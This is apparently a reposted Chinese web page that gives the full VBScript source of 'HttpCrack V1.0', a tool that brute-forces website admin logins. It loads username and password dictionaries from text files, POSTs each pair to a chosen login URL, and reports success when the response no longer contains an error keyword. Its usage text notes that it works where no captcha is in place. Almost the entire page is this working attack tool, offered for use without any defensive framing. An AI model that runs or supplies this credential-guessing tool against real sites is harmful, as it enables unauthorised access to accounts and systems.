| 关键词: nbsp user pass wscript echo objstream wsh regEx arg Then |
Made by 孤水绕城一个暴力破解后台用户和密码的工具.字典需要自己生成,用户字典保存为user.txt,密码字典保存为pass.txt用法不多说了大家看说明吧 源码如下:Dim i,l,u,p,ul,pl l=0 i=0 u=0 p=0Dim url,user1,pass1,searchDim user(),pass()set arg=wscript.argumentsIf (LCase(Right(Wscript.fullname,11))="Wscript.Exe") ThenWscript.QuitEnd Ifif arg.count=0 or arg.length<> 8 thenCall useage()Wscript.QuitElse '-------------------------------功能实现-------------------------------------------------------Call init()Call readFile()Call main()End If '-------------------------------功能实现-------------------------------------------------------Sub main()Dim result Dim postStrFor i=0 To ul-1For l=0 To pl-1 postStr=user1&"="&user(i)&"&"&pass1&"="&pass(l) wsh.echo "Checking...... "&user(i)&"------"&pass(l) result = BytesToBstr(GetData(url,postStr),"GB2312") 'MsgBox result If(InStr(result,search)>0) Then wsh.echo "" wsh.echo "Good Job !!!"&vbcrlf&"You Have Found The Result"& vbcrlf&"username: "&user(i)&" -------password: "&pass(l) wscript.quit End If nextNextwsh.echo "Sorry I can't Find The Result , Please Expand The Dic."End sub'-------------------------------使用说明-------------------------------------------------------Sub useage()wsh.echo string(79,"*")wsh.echo "此工具作为暴力破解用户名密码之用,条件是没有认证码做验证"wsh.echo ""wsh.echo "HttpCrack V1.0"wsh.echo "Made by 孤水绕城 "wsh.echo "QQ:540410588 Blog: http://hi.baidu.com/540410588"wsh.echo ""wsh.echo "Usage:"wsh.echo "cscript "&wscript.scriptname&" -l(接收用户名密码的url) -u(用户名字段名) -p(密码字段名) -s(返回错误信息关键字)"wsh.echo "示例如下:cscript "&wscript.scriptname&" -l http://localhost/login.php -u user -p pass -s error"wsh.echo string(79,"*")&vbcrlfEnd Sub'-------------------------------使用说明-------------------------------------------------------'-------------------------------读取参数-------------------------------------------------------Sub init()Dim ss=0For s=0 To 7 If(arg(s)="-l") Then url=arg(s+1) End If If(arg(s)="-u") Then user1=arg(s+1) End If If(arg(s)="-p") Then pass1=arg(s+1) End If If(arg(s)="-s") Then search=arg(s+1) End If NextIf url<>"" And user1<>"" And pass1<>"" And search<>"" Then Else Call useage() wscript.quitEnd IfEnd Sub'------------------------------该部分用于读取user和pass字典----------------------------------Sub readFile()Dim path,length,fullpath,scriptName,strstr="gsrc"fullpath=wscript.ScriptFullNamelength=InStr(fullpath,scriptName)path=Mid(fullpath,1,length-1)Set fso=CreateObject("Scripting.FileSystemObject")If fso.fileExists(path&"user.txt") And fso.fileExists(path&"pass.txt") Then Set otfuser=fso.OpenTextFile(path&"user.txt") Set otfpass=fso.OpenTextFile(path&"pass.txt") Do While otfuser.AtEndOfLine <> True ReDim Preserve user(i) str=otfuser.readLine() str=RegReplace(str,"[\s]+","") '去除多余空格 If(str<>"") then user(i)=str End If i=i+1 Loop ul=i i=0 Do While otfpass.AtEndOfLine <> True ReDim Preserve pass(i) pass(i)=otfpass.readLine() i=i+1 Loop pl=iElse MsgBox("请确定user.txt和pass.txt放在"&path&"文件夹中") wscript.quitEnd If Set otfuser=NothingSet otfpass=Nothing Set fso=NothingEnd SubFunction RegReplace(ByVal str1, ByVal patrn, ByVal replStr) Dim regEx Set regEx = New RegExp regEx.Pattern = patrn regEx.MultiLine = True regEx.IgnoreCase = True regEx.Global = True RegReplace = regEx.Replace(str1, replStr) set regEx = Nothing End Function'------------------------------该部分用于读取user和pass----------------------------------'------------------------------该部分用于提交数据----------------------------------------Function GetData(PostUrl,PostStr) Dim HttpSet Http = CreateObject("Microsoft.XMLHTTP")With Http.Open "POST",PostUrl,False.SetRequestHeader "Content-Length",Len(PostStr).SetRequestHeader "Content-Type","application/x-www-form-urlencoded".Send PostStrGetData = .ResponseBodyEnd WithSet Http = NothingEnd FunctionFunction BytesToBstr(Body, Cset)Dim objstreamSet objstream = CreateObject("adodb.stream")objstream.Type = 1objstream.Mode = 3objstream.Openobjstream.Write Bodyobjstream.Position = 0objstream.Type = 2objstream.Charset = CsetBytesToBstr = objstream.ReadTExtobjstream.CloseSet objstream = NothingEnd Function'------------------------------该部分用于提交数据----------------------------------------wscript.quit |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|